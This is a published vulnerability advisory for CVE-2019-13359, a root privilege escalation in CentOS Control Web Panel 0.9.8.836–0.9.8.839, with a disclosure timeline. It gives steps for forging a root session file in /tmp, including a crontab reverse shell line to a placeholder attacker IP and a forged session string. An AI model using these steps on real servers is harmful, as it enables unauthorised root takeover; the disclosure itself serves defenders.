CentOS Control Web Panel 0.9.8.836 - Privilege Escalation

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||           CWP Control Web Panel 0.9.8.836 - 0.9.8.839               ||
||                     Root Privilege Escalation                       ||
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# ====================================================================
# Information
# ====================================================================
# Exploit Title: CWP (CentOS Control Web Panel) < 0.9.8.40 Root Privilege Escalation
# Date: 6 July 2019
# Exploit Author: Pongtorn Angsuchotmetee, Nissana Sirijirakal, Narin Boonwasanarak
# Vendor Homepage: https://control-webpanel.com/changelog
# Software Link: http://centos-webpanel.com/cwp-el7-latest (Have to change
version in the script)
# Version: 0.9.8.836 to 0.9.8.839
# Tested on: CentOS 7.6.1810 (Core)
# CVE : CVE-2019-13359

Product             : CWP Control Web Panel
Vulnerability Name  : Root Privilege Escalation
version             : 0.9.8.836
Fixed on            : 0.9.8.840
Test on             : Tested on: CentOS 7.6.1810 (Core)
Reference           : http://centos-webpanel.com/
                    : https://control-webpanel.com/changelog
CVE-Number          : CVE-2019-13359


# ====================================================================
# Root course of the vulnerability
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1. The session file are store at /tmp directory
2. rkey value in the session file dose not change when access by the same source IP address



# ====================================================================
# Steps to Reproduce
# ====================================================================

Session prepareation state
    1. Check the current IP address of attacker
    2. Set the IP address on testing environment network
    3. Login as root on port 2031/2087 and save the cookie name from web browser (cwsrp-xxxxxxxxxxxxxxxxxxxxx)
    4. Copy the content of session file (/tmp/sess_xxxxxxxxxxxxxx) to a new file "sess_123456"                  # we need "rkey"
    5. Save the token value from the session file (cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)

    * rkey is created from client ip, then do not change client ip when attack the real target

Attack state

    #
    #   Method 1 Uploading via reverse shell
    #

    1. Go to crontab and set "bash -i >& /dev/tcp/[Attacker-IP]/8000 0>&1"
    2. Create session file through reverse shell

        echo "username|s:4:\"root\";logged|b:1;rkey|s:20:\"[RKEY]\";token|s:36:\"[TOKEN-KEY]\";" > /tmp/sess_123456

    3. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/admin/index.php
    4. Change file permission "chmod 664 /tmp/sess_123456"
    5. Create cookie name "cwsrp-xxxxxxxxxxxxxxxxxxxxx" and set its value to "123456" (sess_123456)
    6. Open the URL and become the root user


    #
    # Method 2 Uploading via File manager function
    #

    1. On the real target, login as a normal user on port 2083 and upload file "sess_123456" to /tmp directory and set permission to 644 (chmod 664 /tmp/sess_123456) via crontab feature
    2. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/admin/index.php
    3. Create cookie name "cwsrp-xxxxxxxxxxxxxxxxxxxxx" and set its value to "123456" (sess_123456)
    4. Open the URL and become the root user

    *From step 1 - 4 need doing it quickly. if we do it too slow, the application will change the permission of file sess_123456 to 600, and the file will become 0 byte. If this happened, attacker need to change session file name and repeat the steps again



# ====================================================================
# PoC
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https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13359.md



# ====================================================================
# Timeline
# ====================================================================
2019-06-30: Discovered the bug
2019-06-30: Reported to vendor
2019-06-30: Vender accepted the vulnerability
2019-07-02: The vulnerability has been fixed
2019-07-06: Published



# ====================================================================
# Discovered by
# ====================================================================
Pongtorn Angsuchotmetee
Nissana Sirijirakal
Narin Boonwasanarak